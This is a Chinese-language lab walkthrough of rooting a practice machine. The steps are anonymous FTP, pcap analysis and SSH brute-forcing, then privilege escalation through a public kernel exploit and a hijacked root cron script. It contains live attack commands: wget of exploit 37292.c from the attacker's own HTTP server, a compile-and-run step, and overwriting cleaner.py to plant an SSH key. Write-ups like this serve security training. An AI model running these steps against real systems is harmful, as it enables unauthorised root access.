信息收集
主机探测
端口扫描
21,22,80端口开放通过浏览器访问并进行指纹识别,并没没有发现什么有用信息
测试
观察发现21端口开放(ftp)尝试进行匿名登录发现其中存在一个流量文件将其下载
并将文件用wirwshark打开,追踪其TCP流(分析--》追踪流--》TCP流)
我们发现这里了一个文件,在ftp中传输文件的协议是ftp-data进行详细搜索,找到了些许关键信息
我们在url上加入这串字符看到了一些神奇的东西
一个奇奇怪怪的文件下载之后进行查看发现是一堆乱码,之后尝试进行运行我们会发现一些东西
再次使用浏览器访问,我们获得了两个文件其一为用户名其二为密码(这个题目的密码确实有些抽象)
我们将获取到的文件进行保存,尝试进行爆破连接用户shell(这里确实有点狗,因为Pass.txt中的内容并非是)
进行ssh连接成功登陆后进行了一些简单的信息收集但是在此期间我们返现了有意思的现象就是在连接一段时间后shell会被自动断开
提权
方法一 工具提权
搜到了机器的一些相关信息我们直接用searchsploit查询是否有公开的漏洞信息
#根据上面搜索到的信息进行搜索
searchsploit ubuntu 14.04
#将需要使用的exp进行下载
searchsploit -m 37292.c
之后在本机开启http服务将exp下载到服务器上
#开启本机的http服务
python -m SimpleHTTPServer 80
#在目标靶机上下载exp文件--->切记一定要在/tmp文件下否则无权写入
wget http://IP:port/37292.c
#在靶机上运行exp
gcc 37292.c -o 37292
./37292
提权成功进入/root目录下获取flag既可
方法二 间断连接的提权
因为重置靶机进行实验所以靶机ip发生了变化为(192.168.149.133)
我们连接后发现一段时间后发生了断连的状况,应该是设置了计划任务我们查看日志
发现日志中指向了一个文件cleaner.py
,利用find命令进行查询发现其在/lib/log
下且运行权限为root
内容如下
#!/usr/bin/env python
import os
import sys
try:
os.system('rm -r /tmp/* ')
except:
sys.exit()
#删除文件
tips:该文件并不是负责结束会话的脚本
使用该文件是因为其以root权限运行便于我们之后的运用提权
我们现在来生成我们提权所需要的密码
#kali工具生成rsa密钥私钥(所有选项均按回车即可)
ssh-keygen
#生成的文件默认在/root/.ssh文件夹下
#将生成的公钥(id_rsa.pub)复制到我们将要构造的exp文件中即可
将写好的文件wget到靶机的/tmp文件下,最后将/lib/log/cleaner.py覆盖即可
#覆盖
cp /tmp/cleaner.py /lib/log/cleaner.py
最后在kali上以root身份进行连接即可